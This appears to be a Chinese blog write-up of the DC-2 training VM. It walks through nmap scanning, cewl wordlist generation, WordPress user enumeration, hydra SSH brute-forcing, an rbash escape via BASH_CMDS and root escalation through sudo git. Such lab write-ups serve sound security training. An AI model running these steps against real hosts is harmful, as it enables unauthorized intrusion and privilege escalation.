先用nmap进行内网扫描,找到目标主机,然后端口扫描,得到如下信息:1
2
3
4
5
6
7
8
9
10PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Did not follow redirect to http://dc-2/
|_https-redirect: ERROR: Script execution failed (use -d to debug)
MAC Address: 08:00:27:0A:40:94 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
进一步扫描剩余端口,注意到7744端口开放:1
2PORT STATE SERVICE VERSION
7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
尝试访问网页,有如下提示:
提示使用cewl,利用如下命令:
cewl http://dc-2/ -m 3 -d 3 -e -v -w /root/Desktop/a.txt
密码构造成功,接下来就是选择合适用户名,经过测试,用户存在和不存在返回信息不同:
用户不存在
用户存在:
于是利用burpsuit进行fuzz,得到三个用户名
经过测试,jerry是符合的,成功进入后台:
找到flag2
我找了一阵,注意到wordpress版本是4.7.10,有一个注入漏洞(WordPress ≤ 4.8.2 POST META 校验绕过漏洞),但似乎没什么意义,因为目标是进入主机,之前扫描到了7744端口开启,我们尝试利用hydra爆破
得到密码后登录主机,找到flag3.txt:
很多命令都被删除,vi可以使用
注意到在tom下,bash是以rbash的方式启动,查了下,rbash是受限的 shell,受限的 shell 一般用来建立一个比标准的 shell 受到更多控制的环境,与一般标准shell的区别在于会限制执行一些行为
export命令可以使用(可用于设置环境变量):
export命令用于设置或显示环境变量,在shell中执行程序时,shell会提供一组环境变量,export可新增,修改或删除环境变量
一番搜索,使用如下命令:1
BASH_CMDS[a]=/bin/sh;a
找到flag4:
提示git,切换到jerry用户,输入sudo -l
可以看到git是root权限且无需密码:
git提权:https://gtfobins.github.io/gtfobins/git/1
21. sudo git -p help config
2. !/bin/sh
reference:
https://www.freebuf.com/articles/system/188989.html
http://www.oniont.cn/index.php/archives/143.html
Author: damn1t
Link: http://microvorld.com/2019/12/26/靶机/DC-2/
Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.